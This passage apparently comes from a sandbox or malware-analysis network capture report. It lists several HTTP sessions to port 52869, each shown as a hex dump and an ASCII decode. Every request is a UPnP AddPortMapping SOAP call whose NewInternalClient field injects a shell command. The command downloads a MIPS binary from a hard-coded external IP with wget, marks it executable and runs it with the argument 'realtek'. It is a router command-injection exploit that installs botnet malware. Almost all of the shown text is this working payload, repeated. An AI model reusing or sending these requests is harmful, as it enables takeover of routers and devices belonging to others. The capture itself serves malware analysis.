4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:30.426351070 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      190192.168.2.154503445.192.207.6352869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:26.371814013 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:28.214454889 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:30.426368952 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      191192.168.2.1551262185.88.149.1752869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:31.534138918 CET971OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      192192.168.2.1551268185.88.149.1752869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:31.622240067 CET971OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      193192.168.2.154003445.192.197.16852869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:31.799968958 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
